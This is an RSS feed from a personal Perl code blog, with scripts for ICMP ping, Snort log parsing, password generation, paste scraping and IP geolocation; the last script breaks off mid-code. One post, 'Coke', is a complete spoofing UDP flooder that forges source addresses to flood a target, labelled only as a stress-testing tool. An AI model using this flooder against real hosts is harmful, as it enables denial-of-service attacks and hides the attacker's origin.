<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-1017804720144780505</atom:id><lastBuildDate>Tue, 10 Sep 2024 14:38:04 +0000</lastBuildDate><category>arp poison syn flood attack perl proof of concept</category><category>attack vector</category><category>hacking</category><category>hack</category><category>htaccess hack brute force perl proof of concept</category><category>icmp ping perl time</category><category>pentest</category><category>pentesting</category><category>perl dns resolve</category><category>perl dos syn flood proof of concept</category><category>perl email abuse count</category><category>perl file modification example</category><category>perl geolocation ip</category><category>perl googlism lwp useragent</category><category>perl hp printer display</category><category>perl ip RBL</category><category>perl join random ip</category><category>perl passwords random</category><category>perl ping icmp net::rawip</category><category>perl profanity filter regular expression</category><category>perl rafb paste</category><category>perl snort alert</category><category>perl spam count spamassassin</category><category>perl spam counter mailscanner</category><category>perl spam ip counter</category><category>perl udp flood proof of concept</category><category>perl udp flooder spoof</category><category>text message bomb perl proof of concept</category><category>www.attackvector.org</category><title>Perl Code</title><description>These are scripts/programs I&#39;ve written out of experimentation or need.  They may not have pasted perfectly, so you may have to do some debugging to get them to work.</description><link>http://perl-code.blogspot.com/</link><managingEditor>noreply@blogger.com (Unknown)</managingEditor><generator>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-2766012460289908896</guid><pubDate>Fri, 14 May 2010 17:39:00 +0000</pubDate><atom:updated>2010-05-14T12:40:29.986-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">arp poison syn flood attack perl proof of concept</category><category domain="http://www.blogger.com/atom/ns#">attack vector</category><category domain="http://www.blogger.com/atom/ns#">hack</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>www.attackvector.org</title><description>&lt;p style=&quot;margin-top:10px; margin-bottom:0; padding-bottom:0; text-align:center; line-height:0&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://feeds.feedburner.com/~r/attackvector/~6/1&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/attackvector.1.gif&quot; alt=&quot;Attack Vector&quot; style=&quot;border:0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin-top:5px; padding-top:0; font-size:x-small; text-align:center&quot;&gt;&lt;a href=&quot;http://feedburner.google.com/fb/a/headlineanimator/install?id=a06fto1nv0b188rte8l98a9g10&amp;amp;w=1&quot; onclick=&quot;window.open(this.href, &#39;haHowto&#39;, &#39;width=520,height=600,toolbar=no,address=no,resizable=yes,scrollbars&#39;); return false&quot; target=&quot;_blank&quot;&gt;&amp;uarr; Grab this Headline Animator&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2010/05/wwwattackvectororg.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-4112814273451273435</guid><pubDate>Thu, 13 May 2010 15:11:00 +0000</pubDate><atom:updated>2010-05-13T10:14:02.713-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">arp poison syn flood attack perl proof of concept</category><category domain="http://www.blogger.com/atom/ns#">attack vector</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><category domain="http://www.blogger.com/atom/ns#">pentest</category><category domain="http://www.blogger.com/atom/ns#">pentesting</category><category domain="http://www.blogger.com/atom/ns#">www.attackvector.org</category><title>Wow...</title><description>I totally forgot that this was even here.. lol.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I recommend visiting the blog that this one spawned.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;http://www.attackvector.org&quot;&gt;www.attackvector.org&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Check it out.. &lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2010/05/wow.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-2290407384418162410</guid><pubDate>Fri, 02 May 2008 19:24:00 +0000</pubDate><atom:updated>2008-05-02T14:27:19.725-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl ping icmp net::rawip</category><title>ICMP Ping using Net::RawIP</title><description>This uses Net::RawIP to send an ICMP packet to the destination host and waits for a response.  It operates exactly like &#39;ping&#39;, minus all of the other cool features.  ;-)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use Socket;&lt;br /&gt;use Sys::Hostname;&lt;br /&gt;use Net::RawIP qw(:pcap);&lt;br /&gt;&lt;br /&gt;$host = hostname();&lt;br /&gt;$addr = inet_ntoa(scalar gethostbyname($host || &#39;localhost&#39;));&lt;br /&gt;&lt;br /&gt;$i = 0;&lt;br /&gt;$dest = $ARGV[0];&lt;br /&gt;&lt;br /&gt;$packet = new Net::RawIP ({&lt;br /&gt;                            icmp =&gt; {}&lt;br /&gt;                          });&lt;br /&gt;&lt;br /&gt;$packet-&gt;set({&lt;br /&gt;         ip =&gt; {&lt;br /&gt;                saddr =&gt; $addr,&lt;br /&gt;                daddr =&gt; $dest,&lt;br /&gt;               },&lt;br /&gt;&lt;br /&gt;         icmp =&gt; {&lt;br /&gt;                type =&gt; 8,&lt;br /&gt;                id =&gt; $$&lt;br /&gt;                },&lt;br /&gt;         });&lt;br /&gt;&lt;br /&gt;$device = &quot;eth0&quot;;&lt;br /&gt;$filt = &quot;ip proto \\icmp and dst host $addr&quot;;&lt;br /&gt;$pcap = $packet-&gt;pcapinit($device,$filt,&#39;1500&#39;,&#39;30&#39;);&lt;br /&gt;&lt;br /&gt;if(fork) {&lt;br /&gt;  loop $pcap,-1,\&amp;sniff,\@packet;&lt;br /&gt;} else {&lt;br /&gt;&lt;br /&gt;  for(;;){&lt;br /&gt;    $packet-&gt;set({&lt;br /&gt;                  icmp =&gt; {&lt;br /&gt;                    sequence =&gt; $i,&lt;br /&gt;                    data =&gt; timem()&lt;br /&gt;                  }&lt;br /&gt;                });&lt;br /&gt;&lt;br /&gt;    $packet-&gt;send(1,1);&lt;br /&gt;    $i++;&lt;br /&gt;    sleep 1;&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub sniff{&lt;br /&gt;  $time = timem();&lt;br /&gt;  $packet-&gt;bset(substr($_[2],14));&lt;br /&gt;&lt;br /&gt;  @ar = $packet-&gt;get({&lt;br /&gt;                    ip =&gt; [qw(ttl)],&lt;br /&gt;                    icmp =&gt; [qw(sequence data)]&lt;br /&gt;                    });&lt;br /&gt;&lt;br /&gt;  printf(&quot;%u bytes from %s: icmp_seq=%u ttl=%u time=%4.1fms\n&quot;,&lt;br /&gt;  length($ar[2])+8,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/05/icmp-ping-using-netrawip.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-7962178803132098272</guid><pubDate>Thu, 01 May 2008 01:51:00 +0000</pubDate><atom:updated>2008-04-30T20:53:49.581-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl udp flooder spoof</category><title>Coke - spoofing UDP flooder.</title><description>Spoofs source IP&#39;s and hits a specified or random destination port.  This is for stress testing network devices.  Use with caution.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;# Coke - A spoofing UDP flooder&lt;br /&gt;# Use only for stress testing network devices.&lt;br /&gt;# 4/30/2008 - nwo&lt;br /&gt;#&lt;br /&gt;use Net::RawIP;&lt;br /&gt;&lt;br /&gt;($dest, $size, $count, $port) = split(/\s+/, &quot;@ARGV&quot;);&lt;br /&gt;$opt = @ARGV;&lt;br /&gt;&lt;br /&gt;if($opt &lt; 4) {&lt;br /&gt;  print &quot;Usage: $0 (ip) (size) (amount) (port)\n&quot;;&lt;br /&gt;  print &quot;If port is \&#39;0\&#39;, random destination ports will be hit.\n&quot;;&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;if($size &gt; 736) {&lt;br /&gt;  print &quot;Packet size must be below 736 bytes.\n&quot;;&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;for(1..$size){&lt;br /&gt;  push @{$DATA},&quot;A&quot;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if($port eq &quot;0&quot;) {&lt;br /&gt;  print &quot;+----------------------------------+\n&quot;;&lt;br /&gt;  print &quot;Destination: $dest\n&quot;;&lt;br /&gt;  print &quot;Source: Random\n&quot;;&lt;br /&gt;  print &quot;Port: Random\n&quot;;&lt;br /&gt;  print &quot;Packet size: $size\n&quot;;&lt;br /&gt;  print &quot;Amount: $count\n&quot;;&lt;br /&gt;  print &quot;+----------------------------------+\n&quot;;&lt;br /&gt;  while($i &lt;= $count) {&lt;br /&gt;    $saddr = join(&quot;.&quot;, map int rand 256, 1 .. 4);&lt;br /&gt;    $rsport = int rand(65535);&lt;br /&gt;    $rport = int rand(65535);&lt;br /&gt;    $packet = Net::RawIP-&gt;new({&lt;br /&gt;                          ip =&gt; {&lt;br /&gt;                                saddr =&gt; $saddr,&lt;br /&gt;                                daddr =&gt; $dest,&lt;br /&gt;                                },&lt;br /&gt;&lt;br /&gt;                          udp =&gt; {&lt;br /&gt;                                source =&gt; $rsport,&lt;br /&gt;                                dest =&gt; $rport,&lt;br /&gt;                                data =&gt; &quot;@{$DATA}&quot;,&lt;br /&gt;                                },&lt;br /&gt;                          });&lt;br /&gt;  $packet-&gt;send;&lt;br /&gt;  $i++;&lt;br /&gt;  }&lt;br /&gt;  exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print &quot;+----------------------------------+\n&quot;;&lt;br /&gt;print &quot;Destination: $dest\n&quot;;&lt;br /&gt;print &quot;Source: Random\n&quot;;&lt;br /&gt;print &quot;Port: $port\n&quot;;&lt;br /&gt;print &quot;Packet size: $size\n&quot;;&lt;br /&gt;print &quot;Amount: $count\n&quot;;&lt;br /&gt;print &quot;+----------------------------------+\n&quot;;&lt;br /&gt;&lt;br /&gt;while($i &lt;= $count) {&lt;br /&gt;  $saddr = join(&quot;.&quot;, map int rand 256, 1 .. 4);&lt;br /&gt;  $rsport = int rand(65535);&lt;br /&gt;&lt;br /&gt;  $packet = Net::RawIP-&gt;new({&lt;br /&gt;                        ip =&gt; {&lt;br /&gt;                              saddr =&gt; $saddr,&lt;br /&gt;                              daddr =&gt; $dest,&lt;br /&gt;                              },&lt;br /&gt;&lt;br /&gt;                        udp =&gt; {&lt;br /&gt;                              source =&gt; $rsport,&lt;br /&gt;                              dest =&gt; $port,&lt;br /&gt;                              data =&gt; &quot;@{$DATA}&quot;,&lt;br /&gt;                              },&lt;br /&gt;                        });&lt;br /&gt;  $packet-&gt;send;&lt;br /&gt;  $i++;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/coke-spoofing-udp-flooder.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-7529991143084367475</guid><pubDate>Tue, 29 Apr 2008 18:12:00 +0000</pubDate><atom:updated>2008-04-29T13:13:47.263-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl rafb paste</category><title>RAFB paste download</title><description>I wrote this using &#39;lynx -source&#39;, but I probably should have used LWP.&lt;br /&gt;&lt;br /&gt;Anyway, this grabs all of the code from rafb.net and stores each of the pastes into their own individual directories based on the code the pastes are written in.  I use this primarily to have a big repository of code that I can reference when I want to see examples of a function, or something.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;chdir(&quot;/var/www/htdocs/code&quot;);&lt;br /&gt;%dirs = (&lt;br /&gt;        &quot;Plain Text&quot; =&gt; &quot;plain&quot;,&lt;br /&gt;        &quot;VB&quot; =&gt; &quot;vb&quot;,&lt;br /&gt;        &quot;SQL&quot; =&gt; &quot;sql&quot;,&lt;br /&gt;        &quot;Ruby&quot; =&gt; &quot;ruby&quot;,&lt;br /&gt;        &quot;Python&quot; =&gt; &quot;python&quot;,&lt;br /&gt;        &quot;PHP&quot; =&gt; &quot;php&quot;,&lt;br /&gt;        &quot;Perl&quot; =&gt; &quot;perl&quot;,&lt;br /&gt;        &quot;Java&quot; =&gt; &quot;java&quot;,&lt;br /&gt;        &quot;C89&quot; =&gt; &quot;c89&quot;,&lt;br /&gt;        &quot;C++&quot; =&gt; &quot;cpp&quot;,&lt;br /&gt;        &quot;C\#&quot; =&gt; &quot;csharp&quot;,&lt;br /&gt;        &quot;C&quot; =&gt; &quot;c&quot;,&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;open(URL, &quot;lynx -source \&quot;http://www.rafb.net/paste/results.html\&quot;|&quot;) || die &quot;$!&quot;;&lt;br /&gt;while(&lt;URL&gt;) {&lt;br /&gt;        if(/^.*?\;\&quot;\&gt;.*?\&lt;\/td\&gt;\&lt;td\&gt;(.*?)\&lt;\/td.*?\/p\/(.*?)\.html\&quot;.*/) {&lt;br /&gt;                $lang{$2} = $1;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;foreach $line (keys %lang) {&lt;br /&gt;        chomp($line);&lt;br /&gt;        print &quot;language: $lang{$line} code source - $line\n&quot;;&lt;br /&gt;        if($dirs{$lang{$line}} ne &quot;&quot;) {&lt;br /&gt;                print &quot;This will go into the $dirs{$lang{$line}} directory.\n&quot;;&lt;br /&gt;                if(-e(&quot;$dirs{$lang{$line}}/$line.txt&quot;)) {&lt;br /&gt;                        print &quot;This already exists.\n&quot;;&lt;br /&gt;                        next;&lt;br /&gt;                } else {&lt;br /&gt;                        system(&quot;wget -P $dirs{$lang{$line}} \&quot;http://www.rafb.net/p/$line.txt\&quot;&quot;);&lt;br /&gt;                }&lt;br /&gt;        } else {&lt;br /&gt;                print &quot;We don&#39;t want this code.\n&quot;;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/rafb-paste-download.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-1489960720566376894</guid><pubDate>Mon, 28 Apr 2008 21:02:00 +0000</pubDate><atom:updated>2008-04-28T17:08:58.813-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl googlism lwp useragent</category><title>Perl googlism</title><description>&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;$word = $ARGV[0];&lt;br /&gt;&lt;br /&gt;$ua = LWP::UserAgent-&gt;new;&lt;br /&gt;$req = HTTP::Request-&gt;new(GET =&gt; &quot;http://www.googlism.com/index.htm?ism=$word&amp;type=1&quot;);&lt;br /&gt;@data = split(/\n/, $ua-&gt;request($req)-&gt;as_string);&lt;br /&gt;foreach $line (@data) {&lt;br /&gt;  if($line =~ /^.*?($word\s+is\s+.*?)\&lt;br\&gt;/i) {&lt;br /&gt;    push(@q,$1);&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$s=@q;&lt;br /&gt;print &quot;Out of $s possibilities, we&#39;ve chosen......\n&quot;;&lt;br /&gt;print &quot;$q[(int rand($s))]\n&quot;;&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/perl-googlism.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-8911970830134723236</guid><pubDate>Mon, 28 Apr 2008 00:04:00 +0000</pubDate><atom:updated>2008-04-27T19:06:35.397-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl snort alert</category><title>Snort alert log parser</title><description>This opens /var/log/snort/alert and grabs all of the headers of the alert entries and stores them in a hash and displays how many of each alert there are&lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;Attack: INFO web bug 0x0 gif attempt - HITS: 23&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;#[**] [1:2925:3] INFO web bug 0x0 gif attempt [**]&lt;br /&gt;&lt;br /&gt;%h = ();&lt;br /&gt;sub desc {&lt;br /&gt;   $h{$b} &lt;=&gt; $h{$a};&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;open(F, &quot;/var/log/snort/alert&quot;) || die &quot;$!&quot;;&lt;br /&gt;while(&lt;F&gt;) {&lt;br /&gt;        if(/^.*?\]\s+(.*?)\s+\[.*/) {&lt;br /&gt;                $h{$1}++;&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;foreach $line (sort desc (keys (%h))) {&lt;br /&gt;        print &quot;Attack: $line - Hits: $h{$line}\n&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/snort-alert-log-parser.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-4843001484677657478</guid><pubDate>Sun, 27 Apr 2008 04:17:00 +0000</pubDate><atom:updated>2008-04-26T23:22:01.625-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl passwords random</category><title>Random password generator</title><description>&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;srand(time() ^ ($$ + $$ &lt;&lt; 21));&lt;br /&gt;&lt;br /&gt;if($ARGV[0] eq &quot;&quot;) {&lt;br /&gt;        print &quot;You must enter the number of passwords you want created.\n&quot;;&lt;br /&gt;        exit(0);&lt;br /&gt;}&lt;br /&gt;$howMany = $ARGV[0] - 1;&lt;br /&gt;&lt;br /&gt;$siz = 7;&lt;br /&gt;$siz = 3 if ($siz &lt; 3);&lt;br /&gt;&lt;br /&gt;$addConsonants = 1;&lt;br /&gt;$firstUpper = 1;&lt;br /&gt;$mixedCase = 0;&lt;br /&gt;$symbolOdds = 7;&lt;br /&gt;$across = 0;&lt;br /&gt;&lt;br /&gt;$sym = &quot;~`!@#$%^&amp;*()-_+=,.&lt;&gt;&quot;;&lt;br /&gt;$numb = &quot;12345678901234567890&quot; . $sym;&lt;br /&gt;$lnumb = length($numb);&lt;br /&gt;$upr = &quot;BCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz&quot;;&lt;br /&gt;$cons = &quot;bcdfghjklmnpqrstvwxyz&quot;;&lt;br /&gt;&lt;br /&gt;if ($mixedCase) {&lt;br /&gt;    $vowel = &quot;AEIOUaeiou&quot;;&lt;br /&gt;    $cons = $upr;&lt;br /&gt;} else {&lt;br /&gt;    $vowel = &quot;aeiou&quot;;&lt;br /&gt;}&lt;br /&gt;$upr = $cons unless ($firstUpper);&lt;br /&gt;$lvowel = length($vowel);&lt;br /&gt;$lcons = length($cons);&lt;br /&gt;$lupr = length($upr);&lt;br /&gt;&lt;br /&gt;$realSize = $siz;&lt;br /&gt;$realSize += 2 if ($addConsonants);&lt;br /&gt;($across) ? ($down = &quot;  &quot;) : ($down = &quot;\n&quot;);&lt;br /&gt;$linelen = 0;&lt;br /&gt;&lt;br /&gt;for ($j=0; $j&lt;=$howMany; $j++) {&lt;br /&gt;   $pass = &quot;&quot;;&lt;br /&gt;   $k = 0;&lt;br /&gt;   for ($i=0; $i&lt;=$siz; $i++) {&lt;br /&gt;      if ($i==0 or $i==2 or $i==5 or $i==7) {&lt;br /&gt;         if ($i==0 or $i==5) {&lt;br /&gt;            $pass .= substr($upr,int(rand($lupr)),1);&lt;br /&gt;         } else {&lt;br /&gt;            $pass .= substr($cons,int(rand($lcons)),1);&lt;br /&gt;         }&lt;br /&gt;         if ($addConsonants and (int(rand(4)) == 3) and $k &lt; 2) {&lt;br /&gt;            $pass .= substr($cons,int(rand($lcons)),1);&lt;br /&gt;            $k++;&lt;br /&gt;         }&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      if ($i &gt; 7) {&lt;br /&gt;          if (int(rand(26)) &lt;= 5) {&lt;br /&gt;             $pass .= substr($vowel,int(rand($lvowel)),1);&lt;br /&gt;          } else {&lt;br /&gt;             $pass .= substr($cons,int(rand($lcons)),1);&lt;br /&gt;          }&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      $pass .= substr($vowel,int(rand($lvowel)),1)&lt;br /&gt;         if ($i==1 or $i==6);&lt;br /&gt;&lt;br /&gt;      if ($i==3 or $i==4) {&lt;br /&gt;         if ($symbolOdds) {&lt;br /&gt;            $pass .= substr($numb,int(rand($lnumb)),1)&lt;br /&gt;               if (int(rand(10)) &lt;= $symbolOdds);&lt;br /&gt;         } else {&lt;br /&gt;            $n = &quot;&quot;;&lt;br /&gt;            until ($n =~ /[0-9]/) {&lt;br /&gt;               $n = substr($numb,int(rand($lnumb)),1);&lt;br /&gt;            }&lt;br /&gt;            $pass .= $n;&lt;br /&gt;         }&lt;br /&gt;      }&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   $skipThisOne = 0;&lt;br /&gt;   $skipThisOne = 1 if ($pass =~ /[~`!@#$%^&amp;*()\-_+=,.&lt;&gt;]{2}/);&lt;br /&gt;   $skipThisOne = 1 unless ($pass =~ /[0-9]/);&lt;br /&gt;   $skipThisOne = 1 unless ($pass =~ /[a-z]/);&lt;br /&gt;   $skipThisOne = 1&lt;br /&gt;      if (!($pass =~ /[A-Z]/) and ($firstUpper or $mixedCase));&lt;br /&gt;   if ($skipThisOne) {&lt;br /&gt;      $j--;&lt;br /&gt;      next;&lt;br /&gt;   }&lt;br /&gt;   $pass = substr($pass,0,$realSize) if (length($pass) &gt; $realSize);&lt;br /&gt;&lt;br /&gt;   if ($down ne &quot;\n&quot;) {&lt;br /&gt;      if ($linelen + length($pass) + length($down) &gt; 79) {&lt;br /&gt;         print &quot;\n&quot;;&lt;br /&gt;         $linelen = 0;&lt;br /&gt;      }&lt;br /&gt;      $linelen += length($pass) + length($down);&lt;br /&gt;   }&lt;br /&gt;   print &quot;$pass$down&quot;;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;print &quot;\n&quot; if $down ne &quot;\n&quot;;&lt;br /&gt;&lt;/pre&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;&lt;img src=&quot;http://www.feedburner.com/fb/images/pub/feed-icon32x32.png&quot; alt=&quot;&quot; style=&quot;border:0&quot;/&gt;&lt;/a&gt;&lt;a href=&quot;http://feeds.feedburner.com/PerlCode&quot; title=&quot;Subscribe to my feed&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot;&gt;Subscribe in a reader&lt;/a&gt;&lt;/div&gt;</description><link>http://perl-code.blogspot.com/2008/04/random-password-generator.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1017804720144780505.post-2501995418962580343</guid><pubDate>Sun, 27 Apr 2008 03:45:00 +0000</pubDate><atom:updated>2008-04-26T22:49:19.541-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">perl geolocation ip</category><title>IP Geolocation</title><description>&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;# IP geolocation by nwo.&lt;br /&gt;#&lt;br /&gt;# the first database is frighteningly accurate when it locates an IP.&lt;br /&gt;# it was off by approximately 2 blocks from my house when I looked up mine.&lt;br /&gt;#&lt;br /&gt;# 10/26/2007&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;sub resolv {&lt;br /&gt;  local($host) = @_;&lt;br /&gt;  $address = inet_ntoa(inet_aton($host));&lt;br /&gt;  return($address);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$ip = $ARGV[0];&lt;br /&gt;&lt;br /&gt;if($ip =~ /\w+/) {&lt;br /&gt;  $host = $ip;&lt;br /&gt;  $ip = &amp;resolv($ip);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;open(F, &quot;lynx -dump http://api.hostip.info/get_html.php?ip=$ip\|&quot;) || die &quot;$!&quot;;&lt;br /&gt;while(&lt;F&gt;) {&lt;br /&gt;&lt;br /&gt;  if(/^Country:\s+(.*)/) {&lt;br /&gt;    $country = $1;&lt;br /&gt;    next;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if(/^City:\s+(.*)/) {&lt;br 